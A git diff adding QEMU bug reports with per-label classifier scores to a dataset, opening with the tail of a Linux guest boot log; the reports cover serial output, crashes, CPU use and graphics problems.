Console: switching to colour dummy device 80x25 +[ 0.814010] [drm] Host memory window: 0x180000000 +0x40000000 +[ 0.814014] [drm] features: +virgl +edid +resource_blob +host_visible +[ 0.814015] [drm] features: +context_init +[ 0.815749] [drm] number of scanouts: 1 +[ 0.815764] [drm] number of cap sets: 1 +[ 0.822421] [drm] cap set 0: id 4, max-version 0, max-size 20 +[ 0.823816] [drm] Initialized virtio_gpu 0.1.0 0 for virtio1 on minor 0 +[ 0.835655] loop: module loaded +[ 0.836198] ahci 0000:00:1f.2: version 3.0 +[ 0.838738] ahci 0000:00:1f.2: AHCI 0001.0000 32 slots 6 ports 1.5 Gbps 0x3f impl SATA mode +[ 0.838743] ahci 0000:00:1f.2: flags: 64bit ncq only +[ 0.844268] scsi host0: ahci +[ 0.845062] scsi host1: ahci +[ 0.845675] scsi host2: ahci +[ 0.846482] scsi host3: ahci +[ 0.847257] scsi host4: ahci +[ 0.847860] scsi host5: ahci +[ 0.848240] ata1: SATA max UDMA/133 abar m4096@0xfebd3000 port 0xfebd3100 irq 27 +[ 0.848266] ata2: SATA max UDMA/133 abar m4096@0xfebd3000 port 0xfebd3180 irq 27 +[ 0.848281] ata3: SATA max UDMA/133 abar m4096@0xfebd3000 port 0xfebd3200 irq 27 +[ 0.848295] ata4: SATA max UDMA/133 abar m4096@0xfebd3000 port 0xfebd3280 irq 27 +[ 0.848310] ata5: SATA max UDMA/133 abar m4096@0xfebd3000 port 0xfebd3300 irq 27 +[ 0.848324] ata6: SATA max UDMA/133 abar m4096@0xfebd3000 port 0xfebd3380 irq 27 +[ 0.854343] e100: Intel(R) PRO/100 Network Driver +[ 0.854365] e100: Copyright(c) 1999-2006 Intel Corporation +[ 0.854401] e1000: Intel(R) PRO/1000 Network Driver +[ 0.854403] e1000: Copyright (c) 1999-2006 Intel Corporation. +[ 0.854505] e1000e: Intel(R) PRO/1000 Network Driver +[ 0.854506] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. +[ 0.854562] sky2: driver version 1.30 +[ 0.855224] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver +[ 0.855227] ehci-pci: EHCI PCI platform driver +[ 0.856209] ehci-pci 0000:00:1d.7: EHCI Host Controller +[ 0.856447] ehci-pci 0000:00:1d.7: new USB bus registered, assigned bus number 1 +[ 0.857195] ehci-pci 0000:00:1d.7: irq 19, io mem 0xfebd2000 +[ 0.863684] ehci-pci 0000:00:1d.7: USB 2.0 started, EHCI 1.00 +[ 0.863941] usb usb1: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 5.16 +[ 0.863946] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1 +[ 0.863948] usb usb1: Product: EHCI Host Controller +[ 0.863950] usb usb1: Manufacturer: Linux 5.16.14 ehci_hcd +[ 0.863952] usb usb1: SerialNumber: 0000:00:1d.7 +[ 0.864286] hub 1-0:1.0: USB hub found +[ 0.864294] hub 1-0:1.0: 6 ports detected +[ 0.864919] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver +[ 0.864953] ohci-pci: OHCI PCI platform driver +[ 0.865050] uhci_hcd: USB Universal Host Controller Interface driver +[ 0.865658] uhci_hcd 0000:00:1d.0: UHCI Host Controller +[ 0.865792] uhci_hcd 0000:00:1d.0: new USB bus registered, assigned bus number 2 +[ 0.866072] uhci_hcd 0000:00:1d.0: irq 16, io port 0x0000c060 +[ 0.866256] usb usb2: New USB device found, idVendor=1d6b, idProduct=0001, bcdDevice= 5.16 +[ 0.866259] usb usb2: New USB device strings: Mfr=3, Product=2, SerialNumber=1 +[ 0.866262] usb usb2: Product: UHCI Host Controller +[ 0.866263] usb usb2: Manufacturer: Linux 5.16.14 uhci_hcd +[ 0.866265] usb usb2: SerialNumber: 0000:00:1d.0 +[ 0.866537] hub 2-0:1.0: USB hub found +[ 0.866542] hub 2-0:1.0: 2 ports detected +[ 0.867382] uhci_hcd 0000:00:1d.1: UHCI Host Controller +[ 0.867567] uhci_hcd 0000:00:1d.1: new USB bus registered, assigned bus number 3 +[ 0.867827] uhci_hcd 0000:00:1d.1: irq 17, io port 0x0000c080 +[ 0.868033] usb usb3: New USB device found, idVendor=1d6b, idProduct=0001, bcdDevice= 5.16 +[ 0.868037] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1 +[ 0.868039] usb usb3: Product: UHCI Host Controller +[ 0.868040] usb usb3: Manufacturer: Linux 5.16.14 uhci_hcd +[ 0.868042] usb usb3: SerialNumber: 0000:00:1d.1 +[ 0.868240] hub 3-0:1.0: USB hub found +[ 0.868245] hub 3-0:1.0: 2 ports detected +[ 0.869174] uhci_hcd 0000:00:1d.2: UHCI Host Controller +[ 0.869321] uhci_hcd 0000:00:1d.2: new USB bus registered, assigned bus number 4 +[ 0.869553] uhci_hcd 0000:00:1d.2: irq 18, io port 0x0000c0a0 +[ 0.869959] usb usb4: New USB device found, idVendor=1d6b, idProduct=0001, bcdDevice= 5.16 +[ 0.869963] usb usb4: New USB device strings: Mfr=3, Product=2, SerialNumber=1 +[ 0.869965] usb usb4: Product: UHCI Host Controller +[ 0.870002] usb usb4: Manufacturer: Linux 5.16.14 uhci_hcd +[ 0.870003] usb usb4: SerialNumber: 0000:00:1d.2 +[ 0.870149] hub 4-0:1.0: USB hub found +[ 0.870153] hub 4-0:1.0: 2 ports detected +[ 0.870910] usbcore: registered new interface driver usblp +[ 0.870991] usbcore: registered new interface driver usb-storage +[ 0.871112] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 +[ 0.873033] serio: i8042 KBD port at 0x60,0x64 irq 1 +[ 0.873240] serio: i8042 AUX port at 0x60,0x64 irq 12 +[ 0.874086] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1 +[ 0.878739] rtc_cmos 00:04: RTC can wake from S4 +[ 0.880210] rtc_cmos 00:04: registered as rtc0 +[ 0.880321] rtc_cmos 00:04: alarms up to one day, y3k, 242 bytes nvram, hpet irqs +[ 0.880886] i801_smbus 0000:00:1f.3: SMBus using PCI interrupt +[ 0.881236] i2c i2c-0: 1/1 memory slots populated (from DMI) +[ 0.881239] i2c i2c-0: Memory type 0x07 not supported yet, not instantiating SPD +[ 0.881737] device-mapper: ioctl: 4.45.0-ioctl (2021-03-22) initialised: dm-devel@redhat.com +[ 0.882038] hid: raw HID events driver (C) Jiri Kosina +[ 0.882495] usbcore: registered new interface driver usbhid +[ 0.882498] usbhid: USB HID core driver +[ 0.890838] Initializing XFRM netlink socket +[ 0.891351] NET: Registered PF_INET6 protocol family +[ 0.893594] Segment Routing with IPv6 +[ 0.893647] In-situ OAM (IOAM) with IPv6 +[ 0.893870] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver +[ 0.894342] NET: Registered PF_PACKET protocol family +[ 0.894821] 9pnet: Installing 9P2000 support +[ 0.894914] Key type dns_resolver registered +[ 0.895481] IPI shorthand broadcast: enabled +[ 0.895672] sched_clock: Marking stable (908022380, -12397814)->(1044483817, -148859251) +[ 0.895978] registered taskstats version 1 +[ 0.895980] Loading compiled-in X.509 certificates +[ 0.897126] cryptomgr_test (53) used greatest stack depth: 15480 bytes left +[ 0.897149] cryptomgr_test (54) used greatest stack depth: 15448 bytes left +[ 0.898086] cryptomgr_test (69) used greatest stack depth: 15392 bytes left +[ 0.900491] PM: Magic number: 14:469:477 +[ 0.901051] printk: console [netcon0] enabled +[ 0.901053] netconsole: network logging started +[ 0.901456] cfg80211: Loading compiled-in X.509 certificates for regulatory database +[ 0.903159] kworker/u2:6 (76) used greatest stack depth: 14656 bytes left +[ 0.903680] cfg80211: Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' +[ 0.903771] ALSA device list: +[ 0.903773] No soundcards found. +[ 0.904412] platform regulatory.0: Direct firmware load for regulatory.db failed with error -2 +[ 0.904450] cfg80211: failed to load regulatory.db +[ 1.094640] usb 1-1: new high-speed USB device number 2 using ehci-pci +[ 1.146521] ata1: SATA link up 1.5 Gbps (SStatus 113 SControl 300) +[ 1.146780] ata1.00: ATA-7: QEMU HARDDISK, 2.5+, max UDMA/100 +[ 1.146785] ata1.00: 33554432 sectors, multi 16: LBA48 NCQ (depth 32) +[ 1.146810] ata1.00: applying bridge limits +[ 1.147076] ata1.00: configured for UDMA/100 +[ 1.147318] ata2: SATA link down (SStatus 0 SControl 300) +[ 1.154178] ata3: SATA link up 1.5 Gbps (SStatus 113 SControl 300) +[ 1.154371] ata3.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 +[ 1.154375] ata3.00: applying bridge limits +[ 1.154673] ata3.00: configured for UDMA/100 +[ 1.155258] ata4: SATA link down (SStatus 0 SControl 300) +[ 1.155530] ata5: SATA link down (SStatus 0 SControl 300) +[ 1.155833] ata6: SATA link down (SStatus 0 SControl 300) +[ 1.157704] scsi 0:0:0:0: Direct-Access ATA QEMU HARDDISK 2.5+ PQ: 0 ANSI: 5 +[ 1.158268] sd 0:0:0:0: [sda] 33554432 512-byte logical blocks: (17.2 GB/16.0 GiB) +[ 1.158307] sd 0:0:0:0: [sda] Write Protect is off +[ 1.158309] sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 00 +[ 1.158316] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA +[ 1.158993] sd 0:0:0:0: Attached scsi generic sg0 type 0 +[ 1.165858] scsi 2:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 +[ 1.175815] sda: sda1 sda2 sda3 +[ 1.176475] sd 0:0:0:0: [sda] Attached SCSI disk +[ 1.181093] sr 2:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray +[ 1.181149] cdrom: Uniform CD-ROM driver Revision: 3.20 +[ 1.197445] sr 2:0:0:0: Attached scsi CD-ROM sr0 +[ 1.197689] sr 2:0:0:0: Attached scsi generic sg1 type 5 +[ 1.224877] usb 1-1: New USB device found, idVendor=0627, idProduct=0001, bcdDevice= 0.00 +[ 1.224885] usb 1-1: New USB device strings: Mfr=1, Product=3, SerialNumber=10 +[ 1.224887] usb 1-1: Product: QEMU USB Tablet +[ 1.224889] usb 1-1: Manufacturer: QEMU +[ 1.224891] usb 1-1: SerialNumber: 28754-0000:00:1d.7-1 +[ 1.231334] input: QEMU QEMU USB Tablet as /devices/pci0000:00/0000:00:1d.7/usb1/1-1/1-1:1.0/0003:0627:0001.0001/input/input4 +[ 1.231474] hid-generic 0003:0627:0001.0001: input,hidraw0: USB HID v0.01 Mouse [QEMU QEMU USB Tablet] on usb-0000:00:1d.7-1/input0 +[ 1.484028] random: fast init done +[ 1.486085] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 +[ 1.486277] md: Waiting for all devices to be available before autodetect +[ 1.486280] md: If you don't use raid, use raid=noautodetect +[ 1.486308] md: Autodetecting RAID arrays. +[ 1.486310] md: autorun ... +[ 1.486311] md: ... autorun DONE. +[ 1.489760] EXT4-fs (sda3): INFO: recovery required on readonly filesystem +[ 1.489764] EXT4-fs (sda3): write access will be enabled during recovery +[ 1.549515] EXT4-fs (sda3): recovery complete +[ 1.551218] EXT4-fs (sda3): mounted filesystem with ordered data mode. Opts: (null). Quota mode: none. +[ 1.551395] VFS: Mounted root (ext4 filesystem) readonly on device 8:3. +[ 1.552185] devtmpfs: mounted +[ 1.564828] Freeing unused kernel image (initmem) memory: 1252K +[ 1.565429] Write protecting the kernel read-only data: 24576k +[ 1.588472] Freeing unused kernel image (text/rodata gap) memory: 2032K +[ 1.599305] Freeing unused kernel image (rodata/data gap) memory: 1092K +[ 1.600131] Run /sbin/init as init process +[ 1.600145] with arguments: +[ 1.600145] /sbin/init +[ 1.600145] nokaslr +[ 1.600146] with environment: +[ 1.600146] HOME=/ +[ 1.600146] TERM=linux +[ 1.719163] systemd[1]: systemd 248.3-1ubuntu8.2 running in system mode. (+PAM +AUDIT +SELINUX +APPARMOR +IMA +SMACK +SECCOMP +GCRYPT +GNUTLS -OPENSSL +ACL +BLKID +CURL +ELFUTILS -FIDO2 +IDN2 -IDN +IPTC +KMOD +LIBCRYPTSETUP -LIBFDISK +PCRE2 -PWQUALITY -P11KIT -QRENCODE +BZIP2 +LZ4 +XZ +ZLIB +ZSTD -XKBCOMMON +UTMP +SYSVINIT default-hierarchy=unified) +[ 1.719924] systemd[1]: Detected virtualization kvm. +[ 1.719999] systemd[1]: Detected architecture x86-64. +[ 1.721691] systemd[1]: Hostname set to <lygstate-Standard-PC-Q35-ICH9-2009>. +[ 1.742316] (sd-executor) (84) used greatest stack depth: 13744 bytes left +[ 1.747792] tsc: Refined TSC clocksource calibration: 3699.944 MHz +[ 1.747936] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x6aaa423949d, max_idle_ns: 881591081251 ns +[ 1.748220] clocksource: Switched to clocksource tsc +[ 1.804055] friendly-recove (87) used greatest stack depth: 13736 bytes left +[ 1.857049] openvpn-generat (89) used greatest stack depth: 13672 bytes left +[ 1.857104] ls (104) used greatest stack depth: 13616 bytes left +[ 2.049195] systemd[1]: Queued start job for default target Graphical Interface. +[ 2.053399] systemd[1]: Created slice system-modprobe.slice. +[ 2.055075] systemd[1]: Created slice system-systemd\x2dfsck.slice. +[ 2.055330] systemd[1]: Created slice User and Session Slice. +[ 2.055443] systemd[1]: Started Forward Password Requests to Wall Directory Watch. +[ 2.057210] systemd[1]: Set up automount Arbitrary Executable File Formats File System Automount Point. +[ 2.057325] systemd[1]: Reached target User and Group Name Lookups. +[ 2.057352] systemd[1]: Reached target Remote File Systems. +[ 2.057371] systemd[1]: Reached target Slices. +[ 2.057397] systemd[1]: Reached target Local Verity Integrity Protected Volumes. +[ 2.058182] systemd[1]: Listening on Syslog Socket. +[ 2.058530] systemd[1]: Listening on fsck to fsckd communication Socket. +[ 2.058768] systemd[1]: Listening on initctl Compatibility Named Pipe. +[ 2.059725] systemd[1]: Listening on Journal Audit Socket. +[ 2.059946] systemd[1]: Listening on Journal Socket (/dev/log). +[ 2.060156] systemd[1]: Listening on Journal Socket. +[ 2.060815] systemd[1]: Listening on udev Control Socket. +[ 2.060970] systemd[1]: Listening on udev Kernel Socket. +[ 2.065155] systemd[1]: Mounting Huge Pages File System... +[ 2.069417] systemd[1]: Mounting POSIX Message Queue File System... +[ 2.079658] systemd[1]: Mounting Kernel Debug File System... +[ 2.082741] systemd[1]: Mounting Kernel Trace File System... +[ 2.083848] systemd[1]: systemd-journald.service: unit configures an IP firewall, but the local system does not support BPF/cgroup firewalling. +[ 2.083853] systemd[1]: (This warning is only shown for the first unit using IP firewalling.) +[ 2.089029] systemd[1]: Starting Journal Service... +[ 2.275345] systemd[1]: Starting Set the console keyboard layout... +[ 2.331794] systemd[1]: Condition check resulted in Create list of static device nodes for the current kernel being skipped. +[ 2.373032] systemd[1]: Starting Load Kernel Module configfs... +[ 2.390012] systemd[1]: Starting Load Kernel Module drm... +[ 2.401425] systemd[1]: Starting Load Kernel Module fuse... +[ 2.418703] systemd[1]: Condition check resulted in Set Up Additional Binary Formats being skipped. +[ 2.420064] systemd[1]: Starting File System Check on Root Device... +[ 2.432087] systemd[1]: Starting Load Kernel Modules... +[ 2.452273] systemd[1]: Starting Coldplug All udev Devices... +[ 2.468269] systemd[1]: Starting Uncomplicated firewall... +[ 2.518424] systemd[1]: Mounted Huge Pages File System. +[ 2.518764] systemd[1]: Mounted POSIX Message Queue File System. +[ 2.518974] systemd[1]: Mounted Kernel Debug File System. +[ 2.519140] systemd[1]: Mounted Kernel Trace File System. +[ 2.530711] systemd[1]: modprobe@configfs.service: Deactivated successfully. +[ 2.531730] systemd[1]: Finished Load Kernel Module configfs. +[ 2.538860] systemd[1]: modprobe@drm.service: Deactivated successfully. +[ 2.544760] systemd[1]: Finished Load Kernel Module drm. +[ 2.545030] systemd[1]: modprobe@fuse.service: Deactivated successfully. +[ 2.546685] systemd[1]: Finished Load Kernel Module fuse. +[ 2.546931] systemd[1]: systemd-modules-load.service: Main process exited, code=exited, status=1/FAILURE +[ 2.546980] systemd[1]: systemd-modules-load.service: Failed with result 'exit-code'. +[ 2.549652] systemd[1]: Failed to start Load Kernel Modules. +[ 2.552638] systemd[1]: Finished Uncomplicated firewall. +[ 2.553148] systemd[1]: Condition check resulted in FUSE Control File System being skipped. +[ 2.553189] systemd[1]: Condition check resulted in Kernel Configuration File System being skipped. +[ 2.557719] systemd[1]: Started File System Check Daemon to report status. +[ 2.566265] systemd[1]: Starting Apply Kernel Variables... +[ 2.579756] systemd[1]: Started Journal Service. +[ 2.641573] random: crng init done +[ 2.718179] EXT4-fs (sda3): re-mounted. Opts: errors=remount-ro. Quota mode: none. +[ 2.732681] Adding 752916k swap on /swapfile. Priority:-2 extents:3 across:769300k +[ 2.733844] swapon (132) used greatest stack depth: 13568 bytes left +[ 2.735312] systemd-journald[110]: Received client request to flush runtime journal. +[ 2.743169] systemd-journald[110]: File /var/log/journal/6baf11e8245c4ca98eface85b84be32f/system.journal corrupted or uncleanly shut down, renaming and replacing. +[ 2.811309] loop0: detected capacity change from 0 to 203424 +[ 2.815025] loop1: detected capacity change from 0 to 126632 +[ 2.815152] loop2: detected capacity change from 0 to 8 +[ 2.827343] loop3: detected capacity change from 0 to 307976 +[ 2.841748] loop0: detected capacity change from 0 to 133552 +[ 2.843903] loop4: detected capacity change from 0 to 496320 +[ 2.847378] loop1: detected capacity change from 0 to 111048 +[ 2.914163] journal-offline (149) used greatest stack depth: 13344 bytes left +[ 3.788267] virtio_net virtio0 enp0s1: renamed from eth0 +[ 9.114766] language-option (340) used greatest stack depth: 12992 bytes left +[ 12.965077] loop0: detected capacity change from 0 to 8 +[ 15.602770] systemd-journald[110]: File /var/log/journal/6baf11e8245c4ca98eface85b84be32f/user-1000.journal corrupted or uncleanly shut down, renaming and replacing. +[ 19.878209] virtio_gpu virtio1: [drm] drm_plane_enable_fb_damage_clips() not called +[ 313.191235] loop0: detected capacity change from 0 to 8 +[ 334.252458] loop0: detected capacity change from 0 to 126760 +[ 336.575589] loop0: detected capacity change from 0 to 226664 +[ 613.230337] loop0: detected capacity change from 0 to 8 +[ 660.444496] kworker/dying (50) used greatest stack depth: 12400 bytes left +[ 809.013491] clocksource: timekeeping watchdog on CPU0: hpet wd-wd read-back delay of 65260ns +[ 809.013577] clocksource: wd-tsc-wd read-back delay of 1983150ns, clock-skew test skipped! +[ 913.163318] loop0: detected capacity change from 0 to 8 +[ 1213.159179] loop0: detected capacity change from 0 to 8 +[ 1513.151818] loop0: detected capacity change from 0 to 8 +[ 1813.150457] loop0: detected capacity change from 0 to 8 +``` diff --git a/results/classifier/108/graphic/936 b/results/classifier/108/graphic/936 new file mode 100644 index 000000000..d8d8a605c --- /dev/null +++ b/results/classifier/108/graphic/936 @@ -0,0 +1,31 @@ +graphic: 0.981 +debug: 0.961 +boot: 0.961 +device: 0.781 +performance: 0.732 +other: 0.683 +semantic: 0.587 +socket: 0.525 +vnc: 0.519 +KVM: 0.468 +permissions: 0.464 +network: 0.455 +PID: 0.449 +files: 0.447 + +Serial output mangled in terminal +Description of problem: +My hobby OS uses the serial port at `0x3f8` to log messages to QEMU's stdout. This used to work fine, I can even emit ANSI escape codes to get color output and it renders in my terminal as expected. I left this project for about a year and just returned to it with the latest version of QEMU. Now, all of the QEMU serial output from my OS in the terminal seems to be missing carriage returns and buffering strangely. It's as if every log line ends up on the same line in the stdout buffer, but with newlines (without returning to the start of the line) between them. For example (these aren't my real logs but demonstrate the issue): +``` +[KERNEL] startup + [KERNEL] initializing heap + [KERNEL] initializing drivers + [KERNEL] ready! +``` +Also, when QEMU exits, I notice that my shell indicates that the last command's output didn't end in a newline which is strange. + +I tried debugging this myself by piping the output to a file and inspecting it in a hex editor, but it looks like just normal newlines in the output. I tried piping the output to `tr '\n' '\r\n'` to add carriage returns, but that ends up rendering all the output on a single line which resets to the first column every line. I tried sending the output to a file and watching the file, but it seems to get buffered and the data only shows up once QEMU exits. My best guess is that the output hasn't changed, but this new version of QEMU is changing some kind of buffering setting on its output which is causing this, but I'm really not sure what's going on. +Steps to reproduce: +I can provide the boot image if that would be helpful to reproduce. +Additional information: + diff --git a/results/classifier/108/graphic/958 b/results/classifier/108/graphic/958 new file mode 100644 index 000000000..e1df62cb5 --- /dev/null +++ b/results/classifier/108/graphic/958 @@ -0,0 +1,28 @@ +graphic: 0.935 +device: 0.896 +boot: 0.889 +network: 0.848 +semantic: 0.628 +vnc: 0.557 +debug: 0.528 +PID: 0.524 +files: 0.430 +socket: 0.317 +performance: 0.258 +permissions: 0.218 +other: 0.144 +KVM: 0.063 + +qemu-system-sparc crashes on floppy access +Description of problem: +qemu-system-sparc crashes when accessing the emulated floppy drive of the guest system. +Steps to reproduce: +1. wget http://ftp.netbsd.org/pub/NetBSD/NetBSD-9.2/sparc/installation/bootfs/boot.fs.gz +2. gunzip boot.fs.gz +3. qemu-system-sparc -nographic boot.fs +4. Select option "3) floppy" +5. qemu-systems-sparc crashes with the messages: +``` + Ejecting floppy disk + Segmentation fault (core dumped) +``` diff --git a/results/classifier/108/graphic/959 b/results/classifier/108/graphic/959 new file mode 100644 index 000000000..e14505689 --- /dev/null +++ b/results/classifier/108/graphic/959 @@ -0,0 +1,24 @@ +graphic: 0.972 +device: 0.872 +semantic: 0.726 +performance: 0.684 +files: 0.678 +permissions: 0.568 +vnc: 0.556 +boot: 0.409 +debug: 0.406 +PID: 0.286 +other: 0.164 +network: 0.120 +socket: 0.100 +KVM: 0.004 + +100% CPU utilization when the guest is idle (FreeBSD on M1 Mac) +Description of problem: +100% CPU utilization when the guest is idle. +Steps to reproduce: +1. Download the FreeBSD qcow2 image and decompress it: https://download.freebsd.org/releases/VM-IMAGES/13.0-RELEASE/aarch64/Latest/ +2. Execute the above command. +3. The QEMU process consumes 100% CPU. +4. + diff --git a/results/classifier/108/graphic/962 b/results/classifier/108/graphic/962 new file mode 100644 index 000000000..a5b84c785 --- /dev/null +++ b/results/classifier/108/graphic/962 @@ -0,0 +1,34 @@ +graphic: 0.948 +device: 0.826 +vnc: 0.722 +semantic: 0.694 +other: 0.637 +performance: 0.612 +files: 0.592 +network: 0.586 +PID: 0.527 +socket: 0.512 +boot: 0.358 +debug: 0.357 +permissions: 0.283 +KVM: 0.213 + +Screenshot images are skewed +Description of problem: +1. Start a guest with SPICE +2. Connect with a SPICE client +3. Resize screen to a width that is not a multiple of 4 (e. g. 487x956) +4. Take a screenshot + +The screenshot ppm file will contain the actual dimensions in the header, e. g. +``` +P6 +487 956 +255 +``` +but the image data will contain more than that (e. g. 488 * 956 * 3 bytes). +As a result, when displaying the image it appears skewed. +Steps to reproduce: +See above. +Additional information: +I'm not familiar with qemu code nor the pixman library, but I assume that in [this line](https://gitlab.com/qemu-project/qemu/-/blob/bc6ec396d471d9e4aae7e2ff8b72e11da9a97665/ui/console.c#L316) `get_stride` is wrong. Instead, it should write `width*3` bytes. diff --git a/results/classifier/108/graphic/980 b/results/classifier/108/graphic/980 new file mode 100644 index 000000000..5d5a20dd0 --- /dev/null +++ b/results/classifier/108/graphic/980 @@ -0,0 +1,31 @@ +graphic: 0.983 +performance: 0.928 +semantic: 0.890 +PID: 0.877 +files: 0.874 +device: 0.845 +debug: 0.779 +vnc: 0.777 +permissions: 0.717 +other: 0.616 +socket: 0.616 +boot: 0.595 +network: 0.586 +KVM: 0.334 + +Binary emulation of a Solaris-8-compiled dynamically linked C program gives a bus error immediately on startup when running with qemu-sparc +Description of problem: +I am currently trying to use binary emulation to run a dynamically-linked executable C program that was written and compiled on a Solaris 8 VM. However, when I do so, I immediately get a bus error, and I'm not sure what the cause is. Below I'll delineate all of the steps I took to recreate this. +Steps to reproduce: +1. Start Solaris 8 VM (this was done via QEMU, actually, and there are no issues here) +2. Write a simple `.c` program. +3. Compile that program with `/usr/local/bin/gcc`. The name of the program is `binary_emulation`. +4. Test program on the VM to ensure functionality. +5. Stop VM. +6. Mount `.qcow2` on the Linux host so I can easily extract files from it. +7. Copy the entire `/` directory off to `~/binary_emulation/target` +8. Copy `binary_emulation` to a separate directory. +9. `cd` to `.../qemu/build` +10. Run `./qemu-sparc -L ~/binary_emulation/target ~/binary_emulation/binary_emulation` +Additional information: +# diff --git a/results/classifier/108/graphic/988 b/results/classifier/108/graphic/988 new file mode 100644 index 000000000..d9dd7cd54 --- /dev/null +++ b/results/classifier/108/graphic/988 @@ -0,0 +1,16 @@ +graphic: 0.991 +device: 0.837 +other: 0.509 +performance: 0.403 +boot: 0.210 +debug: 0.209 +vnc: 0.159 +PID: 0.132 +network: 0.121 +permissions: 0.088 +KVM: 0.056 +socket: 0.045 +semantic: 0.019 +files: 0.003 + +Cirrus video, graphical corruption, bad fonts diff --git a/results/classifier/108/graphic/995 b/results/classifier/108/graphic/995 new file mode 100644 index 000000000..73ac88a12 --- /dev/null +++ b/results/classifier/108/graphic/995 @@ -0,0 +1,26 @@ +graphic: 0.989 +semantic: 0.960 +device: 0.875 +performance: 0.858 +vnc: 0.829 +files: 0.703 +debug: 0.669 +PID: 0.586 +permissions: 0.581 +socket: 0.556 +other: 0.506 +network: 0.446 +boot: 0.332 +KVM: 0.260 + +Segfault when saving VM snapshot via QEMU monitor on MIPS and MIPSEL +Description of problem: +When entering the QEMU monitor using Ctrl-A then C, and running the savevm QEMU command, the emulator hangs for a while and then exits with a segfault. This occurs on MIPS and MIPSEL system emulators using the same command line arguments. ARM32, aarch64 and x86_64 emulators don't seem to have this problem. I haven't tested it on any other architectures as I don't have kernel or drive images for them. `qemu-img` seems to work fine with the QCOW2 images used for this test, I was able to create and load offline snapshots from them. The images were created from raw EXT2 filesystem images produced by Buildroot, using `qemu-img convert`. +Steps to reproduce: +1. Start the QEMU system emulator for MIPS/MIPSEL with the given command line. +2. Enter the QEMU monitor with Ctrl-A, C. +3. Run `savevm <vm name>`. +Additional information: +I tried logging what QEMU was doing with the `-D ./log.txt` command line option, but the produced log file was empty. + +If you need me to send you the kernel image files and QCOW2 images used, I would be happy to do so. |